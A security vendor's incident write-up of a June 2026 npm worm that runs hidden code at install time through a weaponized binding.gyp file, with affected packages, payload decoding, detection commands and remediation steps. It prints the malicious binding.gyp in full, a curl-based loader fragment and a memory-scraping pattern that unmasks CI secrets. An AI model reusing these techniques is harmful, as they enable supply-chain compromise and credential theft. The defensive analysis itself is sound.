Skip to main content

Node-gyp Supply Chain Compromise: A Self-Propagating npm Worm That Hides in binding.gyp

Written by

June 4, 2026

0 mins read

A supply chain attack is actively spreading through the npm registry by abusing a file most security tooling never looks at: binding.gyp. Instead of relying on the well-monitored preinstall or postinstall lifecycle scripts, the malware ships a weaponized binding.gyp that triggers node-gyp to execute attacker-controlled code automatically during npm install. Snyk is tracking the incident as Node-gyp Supply Chain Compromise - June 2026, covering 57 affected packages across hundreds of malicious versions, all classified as Embedded Malicious Code at Critical severity.

The payload harvests developer and CI/CD credentials across npm, GitHub, AWS, GCP, Azure, HashiCorp Vault, and Kubernetes, exfiltrates them through attacker-controlled GitHub repositories, injects GitHub Actions workflows for persistence, and self-propagates by republishing packages from any maintainer account it can reach. StepSecurity, which first reported the campaign, named the install-time technique "Phantom Gyp" and tracks the wider campaign as "Miasma," a descendant of the Shai-Hulud worm family.

TL;DR

Attack type

Supply chain worm via compromised maintainer accounts

Novel technique

Code execution at install time through binding.gyp / node-gyp, not preinstall/postinstall

Snyk tracking

Severity

Critical (Embedded Malicious Code)

Incident date

June 3, 2026 (primary wave); earlier Miasma variant June 1, 2026

Packages compromised

57 packages, hundreds of malicious versions

Highest-traffic victims

@vapi-ai/server-sdk, ai-sdk-ollama

Malware behavior

Credential theft, GitHub Actions injection, persistence, worm propagation across npm and RubyGems

Immediate action

Pin to known-good versions, run npm install --ignore-scripts, rotate all reachable credentials

Affected packages

Snyk lists 57 affected packages. We confirmed the listed malicious versions are still resolvable on the public registry (for example, all four @vapi-ai/server-sdk versions return live tarballs from registry.npmjs.org), with publish timestamps on June 3 and 4, 2026. The highest-traffic victims, with weekly download figures from the npm registry API, are:

Package

Weekly downloads

Malicious versions

[@vapi-ai/server-sdk](https://security.snyk.io/package/npm/@vapi-ai%2Fserver-sdk)

~86,500 (api.npmjs.org)

0.11.1, 0.11.2, 1.2.1, 1.2.2

[ai-sdk-ollama](https://security.snyk.io/package/npm/ai-sdk-ollama)

~36,900 (api.npmjs.org)

0.13.1, 1.1.1, 2.2.1, 3.8.5

[autotel](https://security.snyk.io/package/npm/autotel)

~5,900 (api.npmjs.org)

2.26.4, 3.4.3

[awaitly](https://security.snyk.io/package/npm/awaitly)

1.33.3

Most of the 57 packages cluster around a single npm account. Querying the registry shows all 25 autotel and autotel-* packages share the maintainer jagreehal, the same account that publishes the @jagreehal/* scope and awaitly. That single-account concentration is exactly what you would expect from a worm that enumerates and republishes everything one compromised account can touch:

  • autotel-* family (24 packages, plus autotel itself): including autotel-mcp (with versions ranging across 0.1.14 through 29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry, and more

  • eslint-plugin-executable-stories-* family (Snyk has covered ESLint-plugin npm supply-chain malware before)

  • @jagreehal/* packages

  • @evolvconsulting/evolv-coder-lite

Many of the inflated version numbers (for example, autotel-mcp jumping into the 29.x range, or autotel getting both a 2.26.4 and a 3.4.3 published within the same minute on June 4) are themselves a side effect of the worm's automated republishing, not legitimate releases. The full, continuously updated list of packages and affected versions is on the Snyk incident page.

One important detail for remediation: for at least some packages, the latest dist-tag has since been pointed back at a clean release (for autotel, latest now resolves to 3.4.2, published before the malicious versions), but the malicious versions have not been unpublished. As of writing, autotel@3.4.3 and autotel@2.26.4 still return live tarballs. A fresh npm install autotel may pull the clean version, while any lockfile, exact pin, or transitive dependency that references a malicious version will still fetch the malware. Do not treat a clean latest tag as evidence you are safe.

How the attack works

The novel part: install-time execution through binding.gyp

When you run npm install on a package that contains a binding.gyp file and no matching prebuilt binary, npm hands the package to node-gyp and runs node-gyp rebuild to compile what it assumes is a native C/C++ addon. This is normal, expected behavior for any package with native components, and it happens without a preinstall or postinstall entry anywhere in package.json.

GYP's build configuration syntax supports command expansion. The <!(...) form runs a shell command during the configure phase and substitutes its output into the build definition. The compromised packages abuse this directly. Here is the exact 157-byte binding.gyp shipped in @vapi-ai/server-sdk@1.2.2 and autotel@3.4.3 (byte-for-byte identical across the packages we inspected):

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

The <!(node index.js ...) expression executes node index.js while node-gyp is merely configuring the build, long before any compiler runs. The "type": "none" target means nothing is actually compiled, so the command expansion's side effect (running index.js) is the entire point. Output is redirected to /dev/null so the install looks clean, and echo stub.c returns a plausible source filename so gyp continues without obvious error. The result is arbitrary code execution during a routine npm install.

Crucially, the package.json in these tarballs contains no preinstall, postinstall, install, or prepare scripts. The only scripts entries are ordinary development tasks (build, lint, test, format), and the package does not even declare "gypfile": true. There is nothing in package.json for script-focused tooling to flag; the presence of a binding.gyp file is sufficient for npm to invoke node-gyp on its own.

This is why the technique matters: a large amount of supply chain defense, including many --ignore-scripts assumptions, is built around the idea that install-time execution comes from lifecycle scripts. node-gyp invocation is a separate path that fires for any package with a binding.gyp.

The payload: a multi-stage Bun-based loader

The index.js that binding.gyp triggers is a 4.5 MB obfuscated loader. We decoded the outer layers statically from the published tarball (no execution) and confirmed the following chain:

  1. ROT-14 Caesar cipher. The entire file is a single eval over a ~1.3 million entry character-code array, mapped to a string and rotated by 14. The visible wrapper is literally eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)).

  2. AES-128-GCM self-decrypting layer. The decoded stage is an async IIFE that imports node:crypto and defines an aes-128-gcm decryptor (createDecipheriv with a 16-byte auth tag), then decrypts two embedded ciphertext blobs whose hex key, IV, and auth tag are hardcoded inline.

  3. Bun runtime loader (907-byte blob). The first decrypted blob detects OS and architecture, then downloads a standalone Bun v1.3.13 binary from the official oven-sh/bun GitHub releases into a temp directory and runs it:

 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
chmodSync(exe,"755")
  1. Main payload (~649 KB blob). The second decrypted blob (664,535 bytes) is the stealer logic itself, executed under the downloaded Bun binary rather than the Node.js process that started the install.

Running the core logic under a downloaded Bun binary, rather than the node process that started the install, is a deliberate evasion: monitoring scoped to Node.js child processes during npm install will not see the Bun process doing the real work. It also explains why a plaintext-string scan of index.js turns up no credentials or C2 indicators; that behavior lives inside the Bun-executed blob. We did not execute that final Bun stage, so the behavioral catalog below reflects publicly reported analysis of it.

Credential harvesting

Once executed, the payload sweeps developer and CI/CD environments for secrets, targeting:

  • AWS: aws_access_key_id / aws_secret_access_key, and the IMDSv2 metadata endpoint (169.254.169.254)

  • GCP: GOOGLE_APPLICATION_CREDENTIALS and service account keys

  • Azure: managed identity tokens via IMDS

  • GitHub Actions: ACTIONS_ID_TOKEN_REQUEST_TOKEN plus runner process memory scraping

  • HashiCorp Vault and Kubernetes: service account tokens from standard paths

  • Password managers: 1Password, pass, and gopass stores

In GitHub Actions, the payload scrapes the runner's process memory to pull masked secrets back out in unmasked form, using a pattern like:

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

GitHub Actions secret masking redacts secrets in logs; it does not protect them from a process that can read runner memory directly. Any secret the runner can see should be treated as exposed.

Exfiltration through GitHub repositories

Rather than a fixed C2 domain, the malware uses GitHub itself as both rendezvous and dead drop. The activity has been tied to the GitHub account [liuende501](https://github.com/liuende501), which at the time of writing hosts 321 public repositories (api.github.com/users/liuende501), consistent with the worm's pattern of programmatically creating repositories to receive stolen data. The flow:

  1. Discover the rendezvous by searching public commits for a hardcoded keyword

  2. Create a repository on the fly with a randomized name

  3. Upload encrypted harvested data as results/results-{timestamp}.json

  4. Issue API requests with a python-requests/2.31.0 User-Agent

Using GitHub for exfiltration blends the traffic in with normal developer and CI activity, since outbound connections to github.com and api.github.com are rarely blocked in build environments.

Worm propagation across ecosystems

The payload is self-spreading, with separate engines per ecosystem:

  • npm worm: enumerates a maintainer's packages via registry.npmjs.org/-/v1/search?text=maintainer:{username}, downloads each target, injects the malicious binding.gyp and index.js, and republishes. Consistent with earlier waves in this family (see Snyk's TanStack coverage, the first documented malicious npm package carrying valid SLSA provenance), the worm also forges Sigstore provenance attestations through Fulcio and Rekor so reinfected packages can appear legitimately signed.

  • RubyGems worm: injects equivalent logic into extconf.rb, RubyGems' native-extension build hook, reusing the same Bun downloader. extconf.rb is to RubyGems what binding.gyp is to npm: a build-time file that runs automatically and is not a "script" in the lifecycle sense.

  • GitHub repository poisoning: commits backdoor files into repositories the stolen tokens can write to, including AI coding agent and editor hooks (.claude/, .cursor/rules/, .vscode/tasks.json) that re-execute the payload when a developer opens the project.

The cross-ecosystem reach (npm and RubyGems) and the reuse of build-time extension files in both is the throughline of this campaign: find the file that runs automatically at install or build time but that nobody classifies as a "script."

Impact analysis

The direct blast radius is any developer machine or CI runner that ran npm install and resolved one of the affected package versions. CI/CD environments carry the most risk, because the runner-memory scraping means every secret the runner can access, not only those passed as explicit environment variables, should be considered compromised.

Developer machines carry a secondary, longer-lived risk through the editor and AI-agent hooks, which survive a plain npm uninstall and re-execute the payload on the next session.

The likelihood of further spread appears lower than at the campaign's peak: the affected packages trace back to a small number of maintainer accounts (we confirmed all 25 autotel and autotel-* packages share the single account jagreehal), and no new compromised releases have been observed recently. That said, the malicious versions remain installable from npm, so exposure risk persists for anyone who pulls them, directly or transitively, before they are fully removed.

Detection

Scan with Snyk. Snyk has published advisories for the affected versions in the Snyk Vulnerability Database and stood up an incident page at security.snyk.io/node-gyp-supply-chain-compromise-june-2026. Run a scan against your project:

snyk test

To scan against a specific manifest or lockfile:

snyk test --file=package-lock.json

Look for the technique, not just the package names. Because the execution path is binding.gyp, you can hunt for it independently of the package list:

# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor / AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Network and behavioral indicators:

  • node-gyp rebuild is running for packages that have no legitimate native addon

  • Unexpected child processes (curl, unzip, bun) spawned during npm install

  • A standalone bun binary is being downloaded from oven-sh/bun releases mid-install when you never asked for Bun

  • GitHub API calls with a python-requests/2.31.0 User-Agent originating from a CI step that is not a Python process

Remediation

If you are unsure whether you were affected, treat it as a confirmed compromise. The harvested data is encrypted before exfiltration, so you cannot determine after the fact what was taken.

Step 1: Remove persistence before rotating tokens. If editor or AI-agent hooks were planted, remove them first so they cannot react to credential changes:

# Inspect and remove injected hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
rm -rf .cursor/rules/setup.mdc 2>/dev/null

Step 2: Clean and reinstall on known-good versions.

rm -rf node_modules
# Pin affected packages to known-good versions in package.json, then:
npm install --ignore-scripts

Note that --ignore-scripts blocks lifecycle scripts but does not by itself stop a node-gyp build triggered by a binding.gyp. The reliable protection is to not install the malicious versions at all (pin to known-good versions) and to scan before building. Combine pinning with --ignore-scripts as a second layer.

Step 3: Rotate every credential reachable from an affected machine or runner:

  • npm publish tokens

  • GitHub personal access tokens and Actions secrets (repository and organization scoped)

  • AWS access keys and any IAM roles reachable from affected runners

  • GCP service account keys

  • Azure service principals and managed identity scopes

  • HashiCorp Vault tokens

  • Kubernetes service account tokens

  • Anything in a targeted password manager store (1Password, pass, gopass)

Step 4: Audit GitHub for injected workflows and dead-drop repos.

# Look for unexpected workflow files or branches added recently
git log --oneline --all -- .github/workflows/

# Repositories created on your account without your action
gh repo list --json name,createdAt --limit 200

Step 5: Harden against the next wave.

  • Default to npm install --ignore-scripts in CI (best practice, to protect against the wider family of install-time attacks) and pair it with a scanning gate

  • Pin dependencies to exact versions with lockfile integrity hashes

  • Consider a registry cooldown policy that holds packages published in the last several days before allowing them into builds

  • Apply least-privilege scoping to CI/CD tokens so a single harvested token has a small blast radius

  • Use Snyk to continuously monitor your dependency tree for malicious packages as they are flagged

Snyk's guide to preventing npm supply chain attacks covers the broader checklist.

The bigger picture: A Shai-Hulud descendant

This is the latest wave in the Shai-Hulud / Miasma lineage, a family of self-propagating npm worms that has hit the registry repeatedly since late 2025. Snyk covered an earlier June 2026 Miasma wave that hit Red Hat npm packages; the exfiltration repositories used across these waves carry descriptions that reference the earlier Shai-Hulud campaigns directly. Each wave has reused a Bun-runtime obfuscated stealer and extended it with new persistence, new exfiltration routes, and new ways to fire code automatically at install or build time. The progression of that automatic-execution trick is the part worth internalizing:

  • Earlier waves leaned on preinstall / postinstall lifecycle scripts

  • Subsequent waves added AI coding agent hooks (SessionStart) and IDE folder-open tasks for persistence

  • This wave moves the initial execution to binding.gyp / node-gyp (and extconf.rb on RubyGems), build-time files that are not lifecycle scripts at all

Snyk has covered prior waves of this campaign family in depth:

For an overview of the worm family this incident descends from:

Snyk security researcher explaining the Mini Shai-Hulud npm supply chain worm and how it propagates Mini Shai-Hulud: The Most Sophisticated NPM Supply Chain Attack of 2026 (Overview of the Shai-Hulud / Miasma worm family and how it self-propagates)

For a hands-on walkthrough of finding and remediating compromised packages from this campaign family with Snyk:

Snyk security engineer demonstrating how to identify and remediate Shai-Hulud compromised npm packages using the Snyk CLI Shai-Hulud NPM Attack: Remediation with Snyk - Walkthrough of identifying and remediating compromised packages using Snyk tooling.

For background on how compromising a legitimate, trusted package fits into the broader supply chain threat model, Snyk Learn's lesson on Compromise of Legitimate Packages is a useful primer.

Timeline (UTC)

Date

Event

June 1, 2026

Earlier Miasma variant compromises a separate cluster of npm packages (Red Hat related)

June 3, 2026

Primary wave: @vapi-ai/server-sdk and dozens of packages across the autotel, eslint-plugin-executable-stories, and @jagreehal families compromised in a rapid automated burst

June 3, 2026 (onward)

Public technical analysis of the "Phantom Gyp" technique published; Snyk publishes advisories and a live incident page

Ongoing

Investigation continues; malicious versions remain available on npm pending removal

Snyk coverage

Snyk has published advisories for the affected versions in the Snyk Vulnerability Database and maintains a live incident page listing all 57 packages and their malicious versions. Snyk customers can use Snyk's scanning across the SDLC to identify which projects pull affected versions, directly or transitively, and prioritize remediation based on exposure.

Check out the Snyk Vulnerability DB

Trusted data and actionable insights to help you build software securely.